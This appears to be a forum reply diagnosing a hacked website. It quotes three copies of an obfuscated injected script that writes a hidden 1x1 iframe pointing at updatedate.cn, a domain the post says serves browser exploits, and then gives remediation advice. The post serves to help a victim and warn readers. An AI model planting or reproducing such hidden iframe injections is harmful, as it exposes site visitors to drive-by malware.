Google is quite right (as it almost always is in these cases). You are hacked to pieces. 'View Source' on your page, just after the body tag:
Code:
{{script}}document.write("{{"+"i"+"f"+"rame src=http:"+"//upda"+"t"+"edat"+"e."+"c"+"n/"+" height=1 width"+"=1"+"}}"+"{{/if"+"ram"+"e}}");{{/script}}
{{script}}document.write("{{i"+ "f"+"rame "+"s" +"rc=ht"+ "t"+"p:"+ "//"+"u"+"p" +"da"+"tedat"+ "e.cn/ "+ "hei" +"g"+"ht" +"="+"1" +" " +"width=1}}"+ "{{" +"/" +"if"+"rame}}");{{/script}}
{{script}}document.write("{{if"+"rame "+"s" +"r"+"c=http:/"+"/u" +"pd"+"ateda" +"te"+".cn"+"/ " +"hei"+"g"+"h"+"t=1" +" "+"wi"+"dth="+"1"+"}}{{"+"/ifram"+"e" +"}}");{{/script}}
(Angle brackets replaced with braces to try to avoid triggering paranoid AV tools.) This shows you've been hacked three times by the same automated attack (clearly it hasn't noticed that it already owned your site).
These attacks are at the moment concentrating on two methods: gaining access to the web server through insecure web applications (typically PHP) installed on it, and stealing passwords from compromised end-user machines.
As well as asking your host to check the server for compromise, and changing your account password, you need to check your end. Since I don't see infections on other sites on the same server, it is likely that your own computer is infected. You could have got it from viewing another web site that has the same infection as yours; then, when you uploaded pages to your site, the malware sniffed your password and leaked it to the attackers. Check your machine with multiple online AVs, but don't trust them to find and remove everything because AV today is not reliable - instead, consider re-installing Windows, changing all your passwords, using SFTP instead of FTP to upload files to the server, and don't install plugins you don't absolutely need.
All: do NOT visit chowardcompany or updatedate, or you'll be hit with a variety of browser exploits including attacks against Adobe Reader and Flash. Do not rely on your anti-virus to catch web exploits, AV simply cannot keep up at the moment.
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